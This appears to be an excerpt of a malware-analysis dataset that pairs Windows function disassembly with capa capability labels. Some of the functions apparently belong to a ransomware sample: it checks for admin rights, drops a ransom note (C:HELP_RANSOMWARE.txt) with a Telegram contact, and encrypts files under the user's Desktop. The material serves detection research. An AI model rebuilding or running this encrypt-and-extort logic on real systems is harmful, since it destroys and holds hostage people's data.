joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14013e2b0
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
cmp byte [0x1401724c8], 0
mov rbx, rcx
movups xmm0, xmmword [0x14014fd28]
movdqu xmmword [rcx], xmm0
je 0x14013e2e5
mov ecx, dword [0x1401724cc]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14013e2e5
movups xmm0, xmmword [rax]
movdqu xmmword [rbx], xmm0
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x14013ff64
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r14
push rbp
lea rbp, [rax - 0x388]
sub rsp, 0x480
mov rax, qword [0x140170608]
xor rax, rsp
mov qword [rbp + 0x370], rax
xor ebx, ebx
mov dword [rsp + 0x40], 0x208
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x30], rbx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x38], rbx
call fcn.14013fde0
mov edi, eax
test eax, eax
jne 0x140140039
cmp qword [rsp + 0x30], rbx
jne 0x14013ffc8
lea edi, [rbx + 0x57]
jmp 0x14013ffed
mov rdx, qword [rsp + 0x38]
lea r9, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
lea r8, [rbp + 0x160]
mov dword [rsp + 0x20], 0x208
call fcn.14013fec0
mov edi, eax
test edi, edi
jne 0x140140017
mov edi, 0x104
lea rdx, [rsp + 0x50]
mov r8d, edi
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x140140070
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp qword [rsp + 0x30], rbx
je 0x140140028
mov ecx, dword [rsp + 0x30]
call qword [sym.imp.ntdll.dll_NtClose]
cmp qword [rsp + 0x38], rbx
je 0x140140039
mov ecx, dword [rsp + 0x38]
call qword [sym.imp.ntdll.dll_NtClose]
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
test edi, edi
sete bl
mov eax, ebx
mov rcx, qword [rbp + 0x370]
xor rcx, rsp
call fcn.140141360
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
cmp eax, edi
jbe 0x14014007b
mov edi, 0x7a
jmp 0x140140017
lea rax, [rsp + 0x50]
or r14, 0xffffffffffffffff
inc r14
cmp word [rax + r14*2], bx
jne 0x140140084
mov r8d, edi
lea rdx, str.setupapi.dev.log
lea rcx, [rsp + 0x50]
call fcn.140140558
test eax, eax
je 0x14014000f
lea rcx, [rsp + 0x50]
call fcn.140140af4
mov edi, eax
test eax, eax
jne 0x140140017
mov eax, r14d
add rax, rax
cmp rax, 0x208
jae 0x1401400fd
lea edx, [rdi + 1]
mov word [rsp + rax + 0x50], bx
lea rcx, [rsp + 0x50]
call fcn.140140cf0
test eax, eax
je 0x14014000f
lea rcx, [rsp + 0x50]
call fcn.140140e44
test eax, eax
jne 0x140140017
jmp 0x14014000f
call fcn.140141538
int3
Function at 0x140140858
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x68
mov rax, qword [0x140170608]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov r14, qword [rsp + 0xd0]
xor edi, edi
mov rbp, r9
mov r15, r8
mov r13, rdx
mov r12, rcx
test r9, r9
je 0x1401408bb
mov esi, dword [r14]
xor edx, edx
mov rcx, qword [0x140172588]
add esi, 0xf
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x1401408c5
lea edi, [rax + 0xe]
jmp 0x14014096c
lea rbx, [rsp + 0x48]
mov esi, 0x10
mov rdx, r13
lea rcx, [rsp + 0x38]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rsp + 0x30]
mov ecx, r12d
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x38]
mov r9, rbx
mov dword [rsp + 0x20], esi
mov r8d, 2
call qword [sym.imp.ntdll.dll_NtQueryValueKey]
mov edx, 0x80000000
mov ecx, eax
add eax, edx
test edx, eax
jne 0x140140917
cmp ecx, 0x80000005
je 0x140140917
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edi, eax
jmp 0x14014094b
test rbp, rbp
je 0x14014093a
mov eax, dword [rbx + 8]
cmp dword [r14], eax
jb 0x140140935
mov r8d, eax
lea rdx, [rbx + 0xc]
mov rcx, rbp
call sub.msvcrt.dll_memcpy
jmp 0x14014093a
mov edi, 0x7a
mov eax, dword [rbx + 8]
mov dword [r14], eax
test r15, r15
je 0x14014094b
mov eax, dword [rbx + 4]
mov dword [r15], eax
test rbx, rbx
je 0x14014096c
lea rax, [rsp + 0x48]
cmp rbx, rax
je 0x14014096c
mov rcx, qword [0x140172588]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140141360
add rsp, 0x68
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1401410b0
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x1401725e0], rbx
je 0x140141117
cmp rax, rbx
jne 0x14014110a
mov ebx, 1
mov esi, ebx
jmp 0x14014111c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1401410ef
mov ebx, 1
mov eax, dword [0x1401725e8]
cmp eax, ebx
jne 0x140141134
mov edi, 0x1f
mov ecx, edi
call fcn.140209000
jmp 0x1401411a0
mov eax, dword [0x1401725e8]
test eax, eax
jne 0x140141195
mov dword [0x1401725e8], ebx
lea r15, [0x140147b60]
lea rdi, [0x140147b48]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x140141187
test eax, eax
jne 0x14014118b
cmp qword [rdi], r14
je 0x14014117c
mov rax, qword [rdi]
mov rcx, qword [case.0x140005adb.0]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14014115e
test eax, eax
je 0x14014119b
mov eax, 0xff
jmp 0x1401412f6
mov dword [0x140170c74], ebx
mov edi, 0x1f
mov eax, dword [0x1401725e8]
cmp eax, ebx
jne 0x1401411c7
lea rdx, [0x140147b40]
lea rcx, [0x140147ab0]
call sub.msvcrt.dll__initterm
mov dword [0x1401725e8], 2
test esi, esi
jne 0x1401411d5
mov rax, r14
xchg qword [0x1401725e0], rax
cmp qword [0x140172600], r14
je 0x140141208
lea rcx, [0x140172600]
call fcn.140141ac0
test eax, eax
je 0x140141208
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140172600]
mov r9, qword [case.0x140005adb.0]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x140141221
mov eax, 0xff
jmp 0x1401412f6
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x1401412a7
test ax, ax
je 0x14014123c
test edx, edx
jne 0x1401412a7
sub ax, bx
cmp ax, di
ja 0x140141252
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14014123c
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.14005ec54
mov dword [0x140170c70], eax
cmp dword [0x140170c90], r14d
jne 0x140141290
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140170c74], r14d
jne 0x1401412a5
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140170c70]
jmp 0x1401412f6
cmp ax, 0x22
jne 0x1401412bb
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14014122a
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.140141b54
add rsp, 0x28
jmp 0x1401410b0
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000a9f0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000aa00]
mov dword [rax], 1
mov rax, qword [0x14000aa10]
mov dword [rax], 1
mov rax, qword [0x14000a980]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000a9e0]
mov dword [0x14000d00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x14000aac0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x14000aaa0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x14000a930]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001531
Capabilities:
Get token membership

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp - 4], 0
mov qword [rbp - 0x10], 0
lea rax, [rbp - 0x10]
mov rdx, rax
lea rax, str.S_1_5_32_544
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_ConvertStringSidToSidA]
call rax
test eax, eax
je 0x14000159d
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 4]
mov r8, rdx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
call rax
test eax, eax
jne 0x14000158d
mov dword [rbp - 4], 0
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov eax, dword [rbp - 4]
add rsp, 0x30
pop rbp
ret
Function at 0x14000188e
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
mov eax, 0x4180
call fcn.140002c80
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x4110], rcx
mov qword [rbp + 0x4118], rdx
mov rdx, qword [rbp + 0x4110]
lea rax, [rbp + 0x1fb0]
mov r9, rdx
lea r8, str._s
mov edx, 0x2000
mov rcx, rax
call sym.snprintf
lea rdx, [rbp + 0x3fb0]
lea rax, [rbp + 0x1fb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x40f8], rax
cmp qword [rbp + 0x40f8], 0xffffffffffffffff
jne 0x140001931
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x4110]
mov r8, rax
lea rax, str.Error_searching_directory:__s_n
mov rdx, rax
call sym.fprintf
jmp 0x140001a27
lea rax, [rbp + 0x3fb0]
add rax, 0x2c
lea rdx, [0x14000a107]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x1400019f0
lea rax, [rbp + 0x3fb0]
add rax, 0x2c
lea rdx, [0x14000a109]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x1400019f0
mov rcx, qword [rbp + 0x4110]
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0x3fb0]
add rdx, 0x2c
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x2000
mov rcx, rax
call sym.snprintf
mov eax, dword [rbp + 0x3fb0]
and eax, 0x10
test eax, eax
je 0x1400019c5
mov rdx, qword [rbp + 0x4118]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.traverse_directory
jmp 0x1400019f1
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, str.Processing_file:__s_n
mov rcx, rax
call sym.printf
mov rdx, qword [rbp + 0x4118]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.encrypt_decrypt_file
jmp 0x1400019f1
nop
lea rax, [rbp + 0x3fb0]
mov rcx, qword [rbp + 0x40f8]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x140001931
mov rax, qword [rbp + 0x40f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
nop
add rsp, 0x4180
pop rbp
ret
Function at 0x140001a30
Capabilities:
Query environment variable

Disassembly:
push rbp
mov eax, 0x4070
call fcn.140002c80
sub rsp, rax
lea rbp, [rsp + 0x80]
call sym.__main
call sym.IsUserAdmin
test eax, eax
jne 0x140001a6d
lea rax, str.Program_must_be_run_as_an_administrator._Exiting..._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001bf6
lea rax, str.Program_is_running_with_administrator_privileges._n
mov rcx, rax
call sym.printf
lea rax, str.C:HELP_RANSOMWARE.txt
mov qword [rbp + 0x3fe0], rax
lea rax, str.SEND_MESSAGE_TELEGRAM_:__fbi_attack0
mov qword [rbp + 0x3fd8], rax
mov rax, qword [rbp + 0x3fe0]
lea rdx, [0x14000a1d5]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x3fd0], rax
cmp qword [rbp + 0x3fd0], 0
jne 0x140001ad8
lea rax, str.ERROR
mov rcx, rax
call sym.perror
mov eax, 1
jmp 0x140001bf6
mov rdx, qword [rbp + 0x3fd8]
mov rax, qword [rbp + 0x3fd0]
mov r8, rdx
lea rdx, [0x14000a1dd]
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x3fd0]
mov rcx, rax
call sym.fclose
lea rax, [rbp + 0x1fc0]
mov r8d, 0x2000
mov rdx, rax
lea rax, str.USERPROFILE
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
test eax, eax
jne 0x140001b58
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Error:_USERPROFILE_environment_variable_is_not_set._n
mov rdx, rax
call sym.fprintf
mov eax, 1
jmp 0x140001bf6
lea rax, str.Desktop
mov qword [rbp + 0x1fb8], rax
mov dword [rbp + 0x3fcc], 1
mov dword [rbp + 0x3fec], 0
jmp 0x140001be3
mov eax, dword [rbp + 0x3fec]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1fb8]
lea rcx, [rbp + 0x1fc0]
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x2000
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, str.Encrypting_files_in_directory:__s_n
mov rcx, rax
call sym.printf
lea rax, [rbp - 0x50]
lea rdx, [0x14000a057]
mov rcx, rax
call sym.traverse_directory
add dword [rbp + 0x3fec], 1
mov eax, dword [rbp + 0x3fec]
cmp eax, dword [rbp + 0x3fcc]
jl 0x140001b7c
mov eax, 0
add rsp, 0x4070
pop rbp
ret

Function at 0x140001ec0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001f30
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000d094]
test esi, esi
mov rbx, rcx
jle 0x140002060
mov rax, qword [0x14000d098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001f7b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002005
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001f60
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x140002082
mov rax, qword [0x14000d098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002067
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001ffe
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002010
add dword [0x14000d094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x14000d098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001ffe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001f88
mov rax, qword [0x14000d098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400025f0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000d100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d0e0]
test rbx, rbx
je 0x14000264c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002643
test rsi, rsi
je 0x140002643
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002628
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002860
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop

Function at 0x140002870
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop
Function at 0x140002880
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002898
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400028a0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400028b0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x1400028fd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x1400028f4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400028ff
add rax, 0x28
cmp rax, r9
jne 0x1400028e0
xor eax, eax
ret

Function at 0x140002900
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002990
mov rdx, qword [0x14000a980]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000297e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000297e
cmp word [rax + 0x18], 0x20b
jne 0x14000297e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002990
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002969
add rbx, 0x28
cmp rbx, rdi
je 0x140002990
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002960
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400029a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a980]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400029c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400029c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400029c0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002a1d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002a14
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400029c0
add rax, 0x28
cmp rax, r9
jne 0x140002a00
xor eax, eax
ret

Function at 0x140002a20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a980]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002a3f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002a48
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002a3f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002a60
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000a980]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002a80
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002a88
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002a80
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x140002ad0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002ac7
test rcx, rcx
je 0x140002a80
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002ab8
xor eax, eax
ret

Function at 0x140002ae0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a980]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002aff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002b08
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002b20
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a980]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002b40
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002b48
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002b40
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x140002b40
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140002b94
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002ba0
add rdx, 0x28
cmp r9, rdx
jne 0x140002b80
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002bb0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000a980]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002bd2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002be0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002bd2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002bd2
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x140002bd2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x140002c35
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002c48
add rdx, 0x28
cmp rdx, r10
jne 0x140002c20
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002c57
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002c67
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002c3e
test ecx, ecx
jg 0x140002c50
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140003c50
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140003cb1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140003c70
mov ecx, dword [r9]
jmp 0x140003d98
cmp ecx, 0x4e0
jb 0x140003d98
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x140003cd0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop dword [rax + rax]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x140003d20
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
